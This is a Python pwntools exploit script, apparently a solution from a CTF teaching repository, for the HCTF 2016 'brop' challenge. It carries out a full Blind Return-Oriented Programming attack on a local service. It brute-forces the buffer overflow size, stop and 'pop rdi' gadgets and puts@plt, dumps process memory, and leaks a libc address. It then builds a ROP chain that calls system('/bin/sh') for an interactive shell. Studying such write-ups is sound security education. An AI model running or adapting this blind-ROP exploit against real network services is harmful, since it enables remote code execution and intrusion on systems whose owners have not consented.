CTF-All-In-One/src/writeup/6.1_pwn_hctf2016_brop/exp.py
2017-11-12 15:35:17 +08:00

217 lines
6.2 KiB
Python

from pwn import *
#context.log_level = 'debug'
def get_buffer_size():
for i in range(100):
payload = "A"
payload += "A"*i
buf_size = len(payload) - 1
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.send(payload)
p.recv()
p.close()
log.info("bad: %d" % buf_size)
except EOFError as e:
p.close()
log.info("buffer size: %d" % buf_size)
return buf_size
def get_stop_addr(buf_size):
addr = 0x400000
while True:
sleep(0.1)
addr += 1
payload = "A"*buf_size
payload += p64(addr)
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.recvline()
p.close()
log.info("stop address: 0x%x" % addr)
return addr
except EOFError as e:
p.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1
def get_gadgets_addr(buf_size, stop_addr):
addr = stop_addr
while True:
sleep(0.1)
addr += 1
payload = "A"*buf_size
payload += p64(addr)
payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
payload += p64(stop_addr)
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.recvline()
p.close()
log.info("find address: 0x%x" % addr)
try: # check
payload = "A"*buf_size
payload += p64(addr)
payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.recvline()
p.close()
log.info("bad address: 0x%x" % addr)
except:
p.close()
log.info("gadget address: 0x%x" % addr)
return addr
except EOFError as e:
p.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1
def get_puts_plt(buf_size, stop_addr, gadgets_addr):
pop_rdi = gadgets_addr + 9 # pop rdi; ret;
addr = stop_addr
while True:
sleep(0.1)
addr += 1
payload = "A"*buf_size
payload += p64(pop_rdi)
payload += p64(0x400000)
payload += p64(addr)
payload += p64(stop_addr)
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
if p.recv().startswith("\x7fELF"):
log.info("puts@plt address: 0x%x" % addr)
p.close()
return addr
log.info("bad: 0x%x" % addr)
p.close()
except EOFError as e:
p.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1
def dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr):
pop_rdi = gadgets_addr + 9 # pop rdi; ret
result = ""
while start_addr < end_addr:
#print result.encode('hex')
sleep(0.1)
payload = "A"*buf_size
payload += p64(pop_rdi)
payload += p64(start_addr)
payload += p64(puts_plt)
payload += p64(stop_addr)
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
data = p.recv(timeout=0.1) # timeout makes sure to recive all bytes
if data == "\n":
data = "\x00"
elif data[-1] == "\n":
data = data[:-1]
log.info("leaking: 0x%x --> %s" % (start_addr,(data or '').encode('hex')))
result += data
start_addr += len(data)
p.close()
except:
log.info("Can't connect")
return result
def get_puts_addr(buf_size, stop_addr, gadgets_addr, puts_plt, puts_got):
pop_rdi = gadgets_addr + 9
payload = "A"*buf_size
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(stop_addr)
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
data = p.recvline()
data = u64(data[:-1] + '\x00\x00')
log.info("puts address: 0x%x" % data)
p.close()
return data
#buf_size = get_buffer_size()
buf_size = 72
#stop_addr = get_stop_addr(buf_size)
stop_addr = 0x4005e5
#gadgets_addr = get_gadgets_addr(buf_size, stop_addr)
gadgets_addr = 0x40082a
#puts_plt = get_puts_plt(buf_size, stop_addr, gadgets_addr)
puts_plt = 0x4005e7 # fake puts
#puts_plt = 0x4005f0 # true puts
# dump code section from memory
# and then use Radare2 or IDA Pro to find the got address
#start_addr = 0x400000
#end_addr = 0x401000
#code_bin = dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr)
#with open('code.bin', 'wb') as f:
# f.write(code_bin)
# f.close()
puts_got = 0x00601018
# you can also dump data from memory and get information from .got
#start_addr = 0x600000
#end_addr = 0x602000
#data_bin = dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr)
#with open('data.bin', 'wb') as f:
# f.write(data_bin)
# f.close()
# must close ASLR
#puts_addr = get_puts_addr(buf_size, stop_addr, gadgets_addr, puts_plt, puts_got)
puts_addr = 0x7ffff7a90210
# first add your own libc into libc-database: $ ./add /usr/lib/libc-2.26.so
# $ ./find puts 0x7ffff7a90210
# or $ ./find puts 210
# $ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570
# $ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570 puts
# then you can get the following offset
offset_puts = 0x000000000006f210
offset_system = 0x0000000000042010
offset_str_bin_sh = 0x17aff5
system_addr = (puts_addr - offset_puts) + offset_system
binsh_addr = (puts_addr - offset_puts) + offset_str_bin_sh
# get shell
payload = "A"*buf_size
payload += p64(gadgets_addr + 9) # pop rdi; ret;
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(stop_addr)
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.interactive()